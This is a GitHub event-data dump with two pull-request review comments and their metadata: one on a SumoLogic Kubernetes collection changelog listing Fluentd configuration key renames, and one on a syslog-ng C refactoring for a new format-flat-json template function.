{"action":"created","comment":{"url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/pulls/comments/355750261","pull_request_review_id":329498209,"id":355750261,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM1NTc1MDI2MQ==","diff_hunk":"@@ -0,0 +1,49 @@\n+# Change Log\n+\n+## 1.0.0\n+- Expose new configs in `values.yaml` to enable users to configure Fluentd to their liking. See the new `fluentd` section in `values.yaml` for more details.\n+- Make several changes to `values.yaml` for consistency and understandability:\n+\n+Old Config | New Config\n+|:-------- |:--------\n+`sumologic.eventCollectionEnabled` | `fluentd.events.enabled`\n+`sumologic.logFormat` | `fluentd.logs.output.logFormat`\n+`sumologic.flushInterval` | `fluentd.buffer.flushInterval`\n+`sumologic.numThreads` | `fluentd.buffer.numThreads`\n+`sumologic.chunkLimitSize` | `fluentd.buffer.chunkLimitSize`\n+`sumologic.totalLimitSize` | `fluentd.buffer.totalLimitSize`\n+`sumologic.sourceName` | `fluentd.logs.containers.sourceName`\n+`sumologic.sourceCategory` | `fluentd.logs.containers.sourceCategory`\n+`sumologic.sourceCategoryPrefix` | `fluentd.logs.containers.sourceCategoryPrefix`\n+`sumologic.sourceCategoryReplaceDash` | `fluentd.logs.containers.sourceCategoryReplaceDash`\n+`sumologic.verifySsl` | `fluentd.verifySsl`\n+`sumologic.excludeContainerRegex` | `fluentd.logs.containers.excludeContainerRegex`\n+`sumologic.excludeHostRegex` | `fluentd.logs.containers.excludeHostRegex`\n+`sumologic.excludeNamespaceRegex` | `fluentd.logs.containers.excludeNamespaceRegex`\n+`sumologic.excludePodRegex` | `fluentd.logs.containers.excludePodRegex`\n+`sumologic.fluentdLogLevel` | `fluentd.logLevel`\n+`sumologic.watchResourceEventsOverrides` | `fluentd.events.watchResourceEventsOverrides`\n+`sumologic.k8sMetadataFilter` | `fluentd.logs.containers.k8sMetadataFilter`\n+\n+- Remove some outdated configs in `values.yaml`\n+ - sumologic.kubernetesMeta\n+ - sumologic.kubernetesMetaReduce\n+ > To preserve the behavior of `kubernetesMeta` or `kubernetesMetaReduce`, we recommend using the `fields` log_format, which by default strips this metadata from the body of the log message.\n+ - sumologic.addTimestamp\n+ - sumologic.timestampKey\n+ - sumologic.addStream\n+ - sumologic.addTime\n+ > To preserve the behavior of `addTimestamp`, `timestampKey`, `addStream`, and `addtime`, you can use the [record_modifier plugin](https://github.com/repeatedly/fluent-plugin-record-modifier) in the new section of the `values.yaml` file, under `fluentd.logs.containers.extraFilterPluginConf`. For example, to preserve the values of `addTimestamp = true`, `timestampKey = timestamp`, `addStream = false`, `addTime = false`\n+ ```\n+ fluentd:\n+ logs:\n+ containers:\n+ extraFilterPluginConf:\n+ <filter **>\n+ @type record_modifier\n+ remove_keys stream,time\n+ <record>\n+ timestamp ${(Time.now.to_f*1000).to_i}","path":"CHANGELOG.md","position":null,"original_position":46,"commit_id":"09b946a2fb2dec8abc27e25f11e4a673d20b140d","original_commit_id":"25d24d33927ce9ea8d4f069d859d28bc5f3be924","user":{"login":"samjsong","id":14362712,"node_id":"MDQ6VXNlcjE0MzYyNzEy","avatar_url":"https://avatars2.githubusercontent.com/u/14362712?v=4","gravatar_id":"","url":"https://api.github.com/users/samjsong","html_url":"https://github.com/samjsong","followers_url":"https://api.github.com/users/samjsong/followers","following_url":"https://api.github.com/users/samjsong/following{/other_user}","gists_url":"https://api.github.com/users/samjsong/gists{/gist_id}","starred_url":"https://api.github.com/users/samjsong/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/samjsong/subscriptions","organizations_url":"https://api.github.com/users/samjsong/orgs","repos_url":"https://api.github.com/users/samjsong/repos","events_url":"https://api.github.com/users/samjsong/events{/privacy}","received_events_url":"https://api.github.com/users/samjsong/received_events","type":"User","site_admin":false},"body":"That's fair, in that case I will go ahead and make the relevant changes in #330 and update this changelog accordingly","created_at":"2019-12-09T23:57:45Z","updated_at":"2019-12-09T23:57:46Z","html_url":"https://github.com/SumoLogic/sumologic-kubernetes-collection/pull/333#discussion_r355750261","pull_request_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/pulls/333","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/pulls/comments/355750261"},"html":{"href":"https://github.com/SumoLogic/sumologic-kubernetes-collection/pull/333#discussion_r355750261"},"pull_request":{"href":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/pulls/333"}},"in_reply_to_id":355747164},"pull_request":{"url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/pulls/333","id":351127715,"node_id":"MDExOlB1bGxSZXF1ZXN0MzUxMTI3NzE1","html_url":"https://github.com/SumoLogic/sumologic-kubernetes-collection/pull/333","diff_url":"https://github.com/SumoLogic/sumologic-kubernetes-collection/pull/333.diff","patch_url":"https://github.com/SumoLogic/sumologic-kubernetes-collection/pull/333.patch","issue_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/issues/333","number":333,"state":"open","locked":false,"title":"add CHANGELOG, include tentative 1.0.0 changes","user":{"login":"samjsong","id":14362712,"node_id":"MDQ6VXNlcjE0MzYyNzEy","avatar_url":"https://avatars2.githubusercontent.com/u/14362712?v=4","gravatar_id":"","url":"https://api.github.com/users/samjsong","html_url":"https://github.com/samjsong","followers_url":"https://api.github.com/users/samjsong/followers","following_url":"https://api.github.com/users/samjsong/following{/other_user}","gists_url":"https://api.github.com/users/samjsong/gists{/gist_id}","starred_url":"https://api.github.com/users/samjsong/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/samjsong/subscriptions","organizations_url":"https://api.github.com/users/samjsong/orgs","repos_url":"https://api.github.com/users/samjsong/repos","events_url":"https://api.github.com/users/samjsong/events{/privacy}","received_events_url":"https://api.github.com/users/samjsong/received_events","type":"User","site_admin":false},"body":"###### Description\r\n\r\nTo be merged after the 1.0.0 release is cut (after #330 and #329 are merged)\r\n\r\n###### Testing performed\r\n\r\n- [ ] ci/build.sh\r\n- [ ] Redeploy fluentd and fluentd-events pods\r\n- [ ] Confirm events, logs, and metrics are coming in\r\n","created_at":"2019-12-09T23:36:57Z","updated_at":"2019-12-09T23:57:46Z","closed_at":null,"merged_at":null,"merge_commit_sha":"34c5d7403b829a2810d8a0c47d45568020930b88","assignee":null,"assignees":[],"requested_reviewers":[{"login":"frankreno","id":1776470,"node_id":"MDQ6VXNlcjE3NzY0NzA=","avatar_url":"https://avatars3.githubusercontent.com/u/1776470?v=4","gravatar_id":"","url":"https://api.github.com/users/frankreno","html_url":"https://github.com/frankreno","followers_url":"https://api.github.com/users/frankreno/followers","following_url":"https://api.github.com/users/frankreno/following{/other_user}","gists_url":"https://api.github.com/users/frankreno/gists{/gist_id}","starred_url":"https://api.github.com/users/frankreno/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/frankreno/subscriptions","organizations_url":"https://api.github.com/users/frankreno/orgs","repos_url":"https://api.github.com/users/frankreno/repos","events_url":"https://api.github.com/users/frankreno/events{/privacy}","received_events_url":"https://api.github.com/users/frankreno/received_events","type":"User","site_admin":false},{"login":"maimaisie","id":1904337,"node_id":"MDQ6VXNlcjE5MDQzMzc=","avatar_url":"https://avatars0.githubusercontent.com/u/1904337?v=4","gravatar_id":"","url":"https://api.github.com/users/maimaisie","html_url":"https://github.com/maimaisie","followers_url":"https://api.github.com/users/maimaisie/followers","following_url":"https://api.github.com/users/maimaisie/following{/other_user}","gists_url":"https://api.github.com/users/maimaisie/gists{/gist_id}","starred_url":"https://api.github.com/users/maimaisie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/maimaisie/subscriptions","organizations_url":"https://api.github.com/users/maimaisie/orgs","repos_url":"https://api.github.com/users/maimaisie/repos","events_url":"https://api.github.com/users/maimaisie/events{/privacy}","received_events_url":"https://api.github.com/users/maimaisie/received_events","type":"User","site_admin":false},{"login":"vsinghal13","id":56007827,"node_id":"MDQ6VXNlcjU2MDA3ODI3","avatar_url":"https://avatars2.githubusercontent.com/u/56007827?v=4","gravatar_id":"","url":"https://api.github.com/users/vsinghal13","html_url":"https://github.com/vsinghal13","followers_url":"https://api.github.com/users/vsinghal13/followers","following_url":"https://api.github.com/users/vsinghal13/following{/other_user}","gists_url":"https://api.github.com/users/vsinghal13/gists{/gist_id}","starred_url":"https://api.github.com/users/vsinghal13/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vsinghal13/subscriptions","organizations_url":"https://api.github.com/users/vsinghal13/orgs","repos_url":"https://api.github.com/users/vsinghal13/repos","events_url":"https://api.github.com/users/vsinghal13/events{/privacy}","received_events_url":"https://api.github.com/users/vsinghal13/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/pulls/333/commits","review_comments_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/pulls/333/comments","review_comment_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/pulls/comments{/number}","comments_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/issues/333/comments","statuses_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/statuses/09b946a2fb2dec8abc27e25f11e4a673d20b140d","head":{"label":"SumoLogic:ssong-add-CHANGELOG","ref":"ssong-add-CHANGELOG","sha":"09b946a2fb2dec8abc27e25f11e4a673d20b140d","user":{"login":"SumoLogic","id":963817,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk2MzgxNw==","avatar_url":"https://avatars2.githubusercontent.com/u/963817?v=4","gravatar_id":"","url":"https://api.github.com/users/SumoLogic","html_url":"https://github.com/SumoLogic","followers_url":"https://api.github.com/users/SumoLogic/followers","following_url":"https://api.github.com/users/SumoLogic/following{/other_user}","gists_url":"https://api.github.com/users/SumoLogic/gists{/gist_id}","starred_url":"https://api.github.com/users/SumoLogic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SumoLogic/subscriptions","organizations_url":"https://api.github.com/users/SumoLogic/orgs","repos_url":"https://api.github.com/users/SumoLogic/repos","events_url":"https://api.github.com/users/SumoLogic/events{/privacy}","received_events_url":"https://api.github.com/users/SumoLogic/received_events","type":"Organization","site_admin":false},"repo":{"id":174412822,"node_id":"MDEwOlJlcG9zaXRvcnkxNzQ0MTI4MjI=","name":"sumologic-kubernetes-collection","full_name":"SumoLogic/sumologic-kubernetes-collection","private":false,"owner":{"login":"SumoLogic","id":963817,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk2MzgxNw==","avatar_url":"https://avatars2.githubusercontent.com/u/963817?v=4","gravatar_id":"","url":"https://api.github.com/users/SumoLogic","html_url":"https://github.com/SumoLogic","followers_url":"https://api.github.com/users/SumoLogic/followers","following_url":"https://api.github.com/users/SumoLogic/following{/other_user}","gists_url":"https://api.github.com/users/SumoLogic/gists{/gist_id}","starred_url":"https://api.github.com/users/SumoLogic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SumoLogic/subscriptions","organizations_url":"https://api.github.com/users/SumoLogic/orgs","repos_url":"https://api.github.com/users/SumoLogic/repos","events_url":"https://api.github.com/users/SumoLogic/events{/privacy}","received_events_url":"https://api.github.com/users/SumoLogic/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/SumoLogic/sumologic-kubernetes-collection","description":"Sumo Logic collection solution for Kubernetes","fork":false,"url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection","forks_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/forks","keys_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/teams","hooks_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/hooks","issue_events_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/issues/events{/number}","events_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/events","assignees_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/assignees{/user}","branches_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/branches{/branch}","tags_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/tags","blobs_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/git/refs{/sha}","trees_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/statuses/{sha}","languages_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/languages","stargazers_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/stargazers","contributors_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/contributors","subscribers_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/subscribers","subscription_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/subscription","commits_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/commits{/sha}","git_commits_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/git/commits{/sha}","comments_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/comments{/number}","issue_comment_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/issues/comments{/number}","contents_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/contents/{+path}","compare_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/merges","archive_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/downloads","issues_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/issues{/number}","pulls_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/pulls{/number}","milestones_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/milestones{/number}","notifications_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/labels{/name}","releases_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/releases{/id}","deployments_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/deployments","created_at":"2019-03-07T20:09:49Z","updated_at":"2019-12-05T18:08:32Z","pushed_at":"2019-12-09T23:52:23Z","git_url":"git://github.com/SumoLogic/sumologic-kubernetes-collection.git","ssh_url":"git@github.com:SumoLogic/sumologic-kubernetes-collection.git","clone_url":"https://github.com/SumoLogic/sumologic-kubernetes-collection.git","svn_url":"https://github.com/SumoLogic/sumologic-kubernetes-collection","homepage":"","size":16892,"stargazers_count":25,"watchers_count":25,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":17,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":14,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":17,"open_issues":14,"watchers":25,"default_branch":"master"}},"base":{"label":"SumoLogic:master","ref":"master","sha":"b78e632f75ae68a287a83299c8e1d0f0da9ee2c2","user":{"login":"SumoLogic","id":963817,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk2MzgxNw==","avatar_url":"https://avatars2.githubusercontent.com/u/963817?v=4","gravatar_id":"","url":"https://api.github.com/users/SumoLogic","html_url":"https://github.com/SumoLogic","followers_url":"https://api.github.com/users/SumoLogic/followers","following_url":"https://api.github.com/users/SumoLogic/following{/other_user}","gists_url":"https://api.github.com/users/SumoLogic/gists{/gist_id}","starred_url":"https://api.github.com/users/SumoLogic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SumoLogic/subscriptions","organizations_url":"https://api.github.com/users/SumoLogic/orgs","repos_url":"https://api.github.com/users/SumoLogic/repos","events_url":"https://api.github.com/users/SumoLogic/events{/privacy}","received_events_url":"https://api.github.com/users/SumoLogic/received_events","type":"Organization","site_admin":false},"repo":{"id":174412822,"node_id":"MDEwOlJlcG9zaXRvcnkxNzQ0MTI4MjI=","name":"sumologic-kubernetes-collection","full_name":"SumoLogic/sumologic-kubernetes-collection","private":false,"owner":{"login":"SumoLogic","id":963817,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk2MzgxNw==","avatar_url":"https://avatars2.githubusercontent.com/u/963817?v=4","gravatar_id":"","url":"https://api.github.com/users/SumoLogic","html_url":"https://github.com/SumoLogic","followers_url":"https://api.github.com/users/SumoLogic/followers","following_url":"https://api.github.com/users/SumoLogic/following{/other_user}","gists_url":"https://api.github.com/users/SumoLogic/gists{/gist_id}","starred_url":"https://api.github.com/users/SumoLogic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SumoLogic/subscriptions","organizations_url":"https://api.github.com/users/SumoLogic/orgs","repos_url":"https://api.github.com/users/SumoLogic/repos","events_url":"https://api.github.com/users/SumoLogic/events{/privacy}","received_events_url":"https://api.github.com/users/SumoLogic/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/SumoLogic/sumologic-kubernetes-collection","description":"Sumo Logic collection solution for Kubernetes","fork":false,"url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection","forks_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/forks","keys_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/teams","hooks_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/hooks","issue_events_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/issues/events{/number}","events_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/events","assignees_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/assignees{/user}","branches_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/branches{/branch}","tags_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/tags","blobs_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/git/refs{/sha}","trees_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/statuses/{sha}","languages_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/languages","stargazers_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/stargazers","contributors_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/contributors","subscribers_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/subscribers","subscription_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/subscription","commits_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/commits{/sha}","git_commits_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/git/commits{/sha}","comments_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/comments{/number}","issue_comment_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/issues/comments{/number}","contents_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/contents/{+path}","compare_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/merges","archive_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/downloads","issues_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/issues{/number}","pulls_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/pulls{/number}","milestones_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/milestones{/number}","notifications_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/labels{/name}","releases_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/releases{/id}","deployments_url":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/deployments","created_at":"2019-03-07T20:09:49Z","updated_at":"2019-12-05T18:08:32Z","pushed_at":"2019-12-09T23:52:23Z","git_url":"git://github.com/SumoLogic/sumologic-kubernetes-collection.git","ssh_url":"git@github.com:SumoLogic/sumologic-kubernetes-collection.git","clone_url":"https://github.com/SumoLogic/sumologic-kubernetes-collection.git","svn_url":"https://github.com/SumoLogic/sumologic-kubernetes-collection","homepage":"","size":16892,"stargazers_count":25,"watchers_count":25,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":17,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":14,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":17,"open_issues":14,"watchers":25,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/pulls/333"},"html":{"href":"https://github.com/SumoLogic/sumologic-kubernetes-collection/pull/333"},"issue":{"href":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/issues/333"},"comments":{"href":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/issues/333/comments"},"review_comments":{"href":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/pulls/333/comments"},"review_comment":{"href":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/pulls/333/commits"},"statuses":{"href":"https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection/statuses/09b946a2fb2dec8abc27e25f11e4a673d20b140d"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 174412822,
"name": "SumoLogic/sumologic-kubernetes-collection",
"url": "https://api.github.com/repos/SumoLogic/sumologic-kubernetes-collection"
}
|
{
"id": 14362712,
"login": "samjsong",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/14362712?",
"url": "https://api.github.com/users/samjsong"
}
|
{
"id": 963817,
"login": "SumoLogic",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/963817?",
"url": "https://api.github.com/orgs/SumoLogic"
}
| 2019-12-09T23:57:45 |
11049505838
|
{"actor":{"display_login":"samjsong"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/balabit/syslog-ng/pulls/comments/319513489","pull_request_review_id":282034161,"id":319513489,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMxOTUxMzQ4OQ==","diff_hunk":"@@ -333,15 +333,18 @@ tf_json_call(LogTemplateFunction *self, gpointer s,\n const LogTemplateInvokeArgs *args, GString *result)\n {\n TFJsonState *state = (TFJsonState *)s;\n- gint i;\n- gboolean r = TRUE;\n gsize orig_size = result->len;\n \n- for (i = 0; i < args->num_messages; i++)\n- r &= tf_json_append(result, state->vp, args->messages[i], args->opts, args->seq_num, args->tz);\n+ for (gint i = 0; i < args->num_messages; i++)\n+ {\n+ gboolean r = tf_json_append(result, state->vp, args->messages[i], args->opts, args->seq_num, args->tz);","path":"modules/json/format-json.c","position":59,"original_position":12,"commit_id":"4ca3b03d5593404a741d98a43305c14c67a770e6","original_commit_id":"9dd0721f712fcc84790782387ba49f6cc5679542","user":{"login":"lbudai","id":5908786,"node_id":"MDQ6VXNlcjU5MDg3ODY=","avatar_url":"https://avatars1.githubusercontent.com/u/5908786?v=4","gravatar_id":"","url":"https://api.github.com/users/lbudai","html_url":"https://github.com/lbudai","followers_url":"https://api.github.com/users/lbudai/followers","following_url":"https://api.github.com/users/lbudai/following{/other_user}","gists_url":"https://api.github.com/users/lbudai/gists{/gist_id}","starred_url":"https://api.github.com/users/lbudai/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lbudai/subscriptions","organizations_url":"https://api.github.com/users/lbudai/orgs","repos_url":"https://api.github.com/users/lbudai/repos","events_url":"https://api.github.com/users/lbudai/events{/privacy}","received_events_url":"https://api.github.com/users/lbudai/received_events","type":"User","site_admin":false},"body":"it is possible to factor out this into a separate func:\r\n```\r\nstatic gboolean\r\n_json_append(result, state, args)\r\n{\r\n...\r\n}\r\n```\r\n\r\n```\r\nfor (gint i = 0; i < args->....; i++ )\r\n {\r\n if (!_json_append(result, state, args))\r\n return;\r\n }\r\n```","created_at":"2019-08-30T13:32:22Z","updated_at":"2019-08-30T13:32:22Z","html_url":"https://github.com/balabit/syslog-ng/pull/2890#discussion_r319513489","pull_request_url":"https://api.github.com/repos/balabit/syslog-ng/pulls/2890","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/balabit/syslog-ng/pulls/comments/319513489"},"html":{"href":"https://github.com/balabit/syslog-ng/pull/2890#discussion_r319513489"},"pull_request":{"href":"https://api.github.com/repos/balabit/syslog-ng/pulls/2890"}}},"pull_request":{"url":"https://api.github.com/repos/balabit/syslog-ng/pulls/2890","id":311333613,"node_id":"MDExOlB1bGxSZXF1ZXN0MzExMzMzNjEz","html_url":"https://github.com/balabit/syslog-ng/pull/2890","diff_url":"https://github.com/balabit/syslog-ng/pull/2890.diff","patch_url":"https://github.com/balabit/syslog-ng/pull/2890.patch","issue_url":"https://api.github.com/repos/balabit/syslog-ng/issues/2890","number":2890,"state":"open","locked":false,"title":"add format-flat-json template function","user":{"login":"Kokan","id":207583,"node_id":"MDQ6VXNlcjIwNzU4Mw==","avatar_url":"https://avatars1.githubusercontent.com/u/207583?v=4","gravatar_id":"","url":"https://api.github.com/users/Kokan","html_url":"https://github.com/Kokan","followers_url":"https://api.github.com/users/Kokan/followers","following_url":"https://api.github.com/users/Kokan/following{/other_user}","gists_url":"https://api.github.com/users/Kokan/gists{/gist_id}","starred_url":"https://api.github.com/users/Kokan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Kokan/subscriptions","organizations_url":"https://api.github.com/users/Kokan/orgs","repos_url":"https://api.github.com/users/Kokan/repos","events_url":"https://api.github.com/users/Kokan/events{/privacy}","received_events_url":"https://api.github.com/users/Kokan/received_events","type":"User","site_admin":false},"body":"The current `$(format-json a.b.c=1)` json formatting template function created a nested json:\r\n```json\r\n{\r\n \"a\": {\r\n \"b\": {\r\n \"c\": \"1\"\r\n }\r\n }\r\n}\r\n```\r\n(withouth the whitespaces)\r\n\r\nIn some json parsing system cannot handle this nested-json format, as such a *flattened* json (in a sense that the keys are joined together).\r\n\r\nWith the new function `$(format-flat-json a.b.c=1)` became:\r\n```json\r\n{\r\n \"a.b.c\": \"1\"\r\n}\r\n```\r\n\r\nIn other functionality and options the `$(format-json)` and `$(format-flat-json)` are identical.\r\n\r\nQuestion:\r\n* Is it better to have a new function name instead of a simple switch (`$(format-json --flatten)`) ?\r\n* Should it support other than `.` separator in the keys between levels ?","created_at":"2019-08-27T11:19:23Z","updated_at":"2019-08-30T13:32:22Z","closed_at":null,"merged_at":null,"merge_commit_sha":"6dd6a92e515f9e50b7b51cedc73e659f4d28fbfa","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":988239098,"node_id":"MDU6TGFiZWw5ODgyMzkwOTg=","url":"https://api.github.com/repos/balabit/syslog-ng/labels/user-visible-feature","name":"user-visible-feature","color":"fbca04","default":false}],"milestone":{"url":"https://api.github.com/repos/balabit/syslog-ng/milestones/23","html_url":"https://github.com/balabit/syslog-ng/milestone/23","labels_url":"https://api.github.com/repos/balabit/syslog-ng/milestones/23/labels","id":4442352,"node_id":"MDk6TWlsZXN0b25lNDQ0MjM1Mg==","number":23,"title":"syslog-ng-3.24","description":"","creator":{"login":"kira-syslogng","id":25661985,"node_id":"MDQ6VXNlcjI1NjYxOTg1","avatar_url":"https://avatars0.githubusercontent.com/u/25661985?v=4","gravatar_id":"","url":"https://api.github.com/users/kira-syslogng","html_url":"https://github.com/kira-syslogng","followers_url":"https://api.github.com/users/kira-syslogng/followers","following_url":"https://api.github.com/users/kira-syslogng/following{/other_user}","gists_url":"https://api.github.com/users/kira-syslogng/gists{/gist_id}","starred_url":"https://api.github.com/users/kira-syslogng/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kira-syslogng/subscriptions","organizations_url":"https://api.github.com/users/kira-syslogng/orgs","repos_url":"https://api.github.com/users/kira-syslogng/repos","events_url":"https://api.github.com/users/kira-syslogng/events{/privacy}","received_events_url":"https://api.github.com/users/kira-syslogng/received_events","type":"User","site_admin":false},"open_issues":13,"closed_issues":1,"state":"open","created_at":"2019-06-26T08:38:57Z","updated_at":"2019-08-30T11:04:3